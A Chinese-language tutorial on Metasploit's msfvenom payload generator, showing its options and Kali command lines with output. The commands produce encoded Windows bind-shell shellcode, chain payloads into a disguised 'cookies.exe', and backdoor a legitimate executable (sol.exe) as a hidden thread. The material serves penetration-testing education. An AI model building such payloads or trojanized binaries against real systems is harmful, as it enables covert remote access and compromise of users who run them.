msfvenom是Msfpayload和Msfencode的组合，将这两个工具集成在一个框架实例中。
msfvenom的优点是：
Msfvenom有多种选项可供使用：
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] >var=val>
Options:
root@kali:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
Options:
-p, --payload <payload> Payload to use. Specify a ‘-‘ or stdin to use custom payloads
--payload-options List the payload‘s standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: ‘\x00\xff‘
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
我们可以看到下面的msfvenom命令行及其输出的示例：

上面的msfvenom命令和由此产生的shellcode生成一个Windows绑定shell，它经过shikata_ga_nai编码器的三次迭代，没有空字节而且是python格式。
以下是使用--platform选项可以输入的可用平台的列表：
Cisco or cisco OSX or osx Solaris or solaris BSD or bsd OpenBSD or openbsd Firefox or firefox BSDi or bsdi NetBSD or netbsd NodeJS or nodejs FreeBSD or freebsd Python or python AIX or aix JavaScript or javascript HPUX or hpux PHP or php Irix or irix Unix or unix Linux or linux Ruby or ruby Java or java Android or android Netware or netware Windows or windows
Usage: -v, –var-name >name>
指定用于某些输出格式的自定义变量名称。 用-v指定名称将将输出的变量从默认的"buf"更改为您提供的任何字词。
默认输出示例：[buf]
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b ‘\x00‘ -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) x86/shikata_ga_nai chosen with final size 326 Payload size: 326 bytes buf = "" buf += "\xda\xdc\xd9\x74\x24\xf4\x5b\xba\xc5\x5e\xc1\x6a\x29" ...snip...
使用-var-name输出示例：[nobuf]
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b ‘\x00‘ -f python -v notBuf Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) x86/shikata_ga_nai chosen with final size 326 Payload size: 326 bytes notBuf = "" notBuf += "\xda\xd1\xd9\x74\x24\xf4\xbf\xf0\x1f\xb8\x27\x5a" ...snip...
使用此选项列举msfvenom所有可用的有效载荷格式。
root@kali:~# msfvenom --help-formats Executable formats asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war Transform formats bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
有时您需要在有效载荷开始时添加一些NOP[空]。 这将在您的有效载荷的开头放置一个[-n 长度]的大小。
使用-n之前：
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none succeeded with size 299 (iteration=0) generic/none chosen with final size 299 Payload size: 299 bytes buf = "" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" ...snip...
使用-n之后：
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e generic/none -f python -n 26 Found 1 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none succeeded with size 299 (iteration=0) generic/none chosen with final size 299 Successfully added NOP sled from x86/single_byte Payload size: 325 bytes buf = "" buf += "\x98\xfd\x40\xf9\x43\x49\x40\x4a\x98\x49\xfd\x37\x43" **NOPs buf += "\x42\xf5\x92\x42\x42\x98\xf8\xd6\x93\xf5\x92\x3f\x98" buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" **First line of payload ...snip...
如果使用--smallest选项，msfvevom将尝试创建最小的shellcode选择编码器和有效载荷。
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b ‘\x00‘ -f python Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 326 (iteration=0) x86/shikata_ga_nai chosen with final size 326 Payload size: 326 bytes ...snip... root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b ‘\x00‘ -f python --smallest Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 312 (iteration=0) x86/shikata_ga_nai chosen with final size 312 Payload size: 312 bytes ...snip...
指定一个win32 shellcode文件，再创建两个载荷合并到一个shellcode中
Payload #1:
root@kali:~# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox No encoder or badchars specified, outputting raw payload Payload size: 267 bytes
Adding payload #2:
root@kali:~# msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw > messageBox2 Adding shellcode from messageBox to the payload No encoder or badchars specified, outputting raw payload Payload size: 850 bytes
Adding payload #3:
root@kali:~# msfvenom -c messageBox2 -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o cookies.exe Adding shellcode from messageBox2 to the payload No encoder or badchars specified, outputting raw payload Payload size: 1469 bytes Saved as: cookies.exe
运行"cookies.exe"文件，将执行两个消息框的payloads，bindshell将使用默认配置绑定（端口4444）。
运行结果如下图所示：
-x/-template选项:
用于指定在创建可执行有效负载时用作模板的现有可执行文件。
-k/-keep选项:
可以保留模板的正常行为，并将注入的有效负载作为单独的线程运行。
root@kali:~# msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "\x00" -f exe -o sol_bdoor.exe Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 299 (iteration=0) x86/shikata_ga_nai chosen with final size 299 Payload size: 299 bytes Saved as: sol_bdoor.exe
